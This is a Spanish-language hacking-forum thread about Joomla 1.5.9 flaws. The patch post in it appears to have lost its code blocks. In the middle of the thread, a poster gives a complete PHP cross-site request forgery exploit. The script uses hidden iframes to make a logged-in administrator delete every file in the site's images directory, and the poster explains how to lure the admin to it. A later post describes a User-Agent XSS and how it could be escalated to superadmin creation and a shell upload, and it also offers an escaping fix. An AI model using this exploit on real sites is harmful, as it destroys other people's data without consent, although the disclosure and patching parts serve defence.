hoho,  nice!, mmm que los filtros de Joomla no estan agregados? a simple vista el code es vulnerable, con el simple hecho al llamado de la funcion, uff se jode todo con el CSRF.

-berz3k.

Hola.

Bueno la solución es sencilla, aquí está, buscamos el archivo <b>file.php</b>, que se encuentra en:

..administrator/components/com_media/controllers

* En la línea 36 tenemos el llamado a la función upload:




* Debemos cambiarlo por esto:



* Ahora buscamos el archivo <b>folder.php</b> de esa misma carpeta.
* En la línea 57 tenemos


* Cambiarlo a:


Más abajo en la línea 100 tenemos:


* Cambiarlo a:


* Seguimos más abajo en la línea 120 y tenemos:


* Cambiarlo a:


Hasta ahora eso es todo lo que pude obtener.

Saludos

Muy buen aporte, lo probare en localhost.

saludos, Dacan 

Pero este no sería subforo de bugs y exploits sin el exploit XD

<?php
// Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK
// http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
$WEB_VULNERABLE = 'http://www.ejemplo.com/';
if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
 echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>'; 
 ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion...
 sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio
}
// Continuamos con el plan...
if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
/* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */
 foreach($archivos as $valor){
 // Reconociendo si es archivo o directorio
 if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
 echo '<iframe src="'.
 $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
 .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
 .'" width="1" height="1" frameborder="0"></iframe>'; 
 }
}
function obtener_archivos($url){
 $buffer = explode(']"> <a href="', file_get_contents($url));
 foreach($buffer as $item=> $valor){
  if($item != '0'){ // Procesa solamente links
   $temporal = explode('"', $valor);
   $retorno[count($retorno)] = $temporal[0];
  }
 }
 return $retorno;
}
?>

Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc.

PD: alakentu bienvenido al foro.

Bueno, además del CSRF que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo:


El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:



Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.png

Ahora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador.

La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces:
http://sla.ckers.org/forum/read.php?2,14534
http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

Pero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar.

De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema.

La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93

<?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?>

Modificar por:

<?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?>

De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES).

Fuente:
http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0

PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.